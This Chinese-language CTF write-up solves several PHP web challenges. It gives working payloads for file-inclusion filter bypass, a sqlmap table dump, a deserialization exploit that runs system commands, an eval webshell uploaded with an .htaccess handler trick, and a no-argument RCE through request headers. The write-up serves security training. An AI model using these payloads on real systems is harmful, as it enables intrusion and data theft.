前言
官方wp:https://shimo.im/docs/Dy5ekHJhKo0ap5v3/read
Web
游戏高手
f12看到100,000分就给Flag
在js里找到对应的代码
控制台里修改分数
然后游戏结束就能得到flag了
include 0。0
php伪协议
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>
过滤了base和rot,这里试了几种filterchain
最后的payload:
?file=php://filter/convert.iconv.CP9066.CSUCS4/resource=flag.php
ez_sql
sql
注入点在?id=
fuzz一下发现select,and,or,sleep,where,information_schema被ban了
sqlmap秒了(
python3 sqlmap.py -u http://470ddb2c-a89f-4b23-87ff-3fcabab64929.node4.buuoj.cn:81/?id= -D ctf -T here_is_flag --dump
Unserialize?
反序列化
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
@unserialize($_POST['unser']);
?>
用nl读取文件绕过过滤
因为是私有属性,我们这里直接在类里面赋值,注意序列化出来的字符串要改为%00类名%00属性
exp:
<?php
class evil {
private $cmd;
public function __construct()
{
$this->cmd="nl /th1s_1s_fffflllll4444aaaggggg";
}
}
$a=new evil();
echo (serialize($a));
payload:
O:4:"evil":1:{s:9:"%00evil%00cmd";s:33:"nl /th1s_1s_fffflllll4444aaaggggg";}
Upload again!
htaccess文件上传
几次上传测试发现不能传后缀为php的文件,文件中不能包含<?
php版本5.6.40,所以可以用<script>
的php短标签绕过
<script language="php">eval($_POST["cmd"]);</script>
然后传.htaccess文件解析png为php
<FilesMatch "1.png">
Sethandler application/x-httpd-php
</FilesMatch>
这样就拿到shell了,轻取flag
扒下来的文件上传源码
<?php
$file = $_FILES["file"];
if(!empty($_FILES["file"])){
$fileName='./upload/'.$file['name'];
$extension = @strtolower(end(explode('.',$_FILES['file']['name'])));
if(preg_match("/ph/i",$extension)){
die("你打不开的,别试了");
}
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(preg_match("/\<\? /i",$content)){ die("这不还是php?"); }else{ move_uploaded_file($file['tmp_name'],$fileName); echo "upload successful: /upload/" . $file["name"] . "<br>" ; } } ?>
R!!C!!E!!
git泄露 + 无参rce
存在git源码泄露,用GitHacker得到源码
python GitHack.py -u http://1621290f-fc4c-4c72-b10e-23eecc09d0c4.node4.buuoj.cn:81/.git/
得到bo0g1pop.php
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
首先可以确定是无参rce,然后这里过滤了大量无参rce中会用到的函数
我这里用的是getallheaders()
来进行rce
用var_export
来进行回显
可以看到ua头是整个返回数组的第二个元素
那么我们就在ua头里进行命令执行,外面再套层eval,用next
指向ua头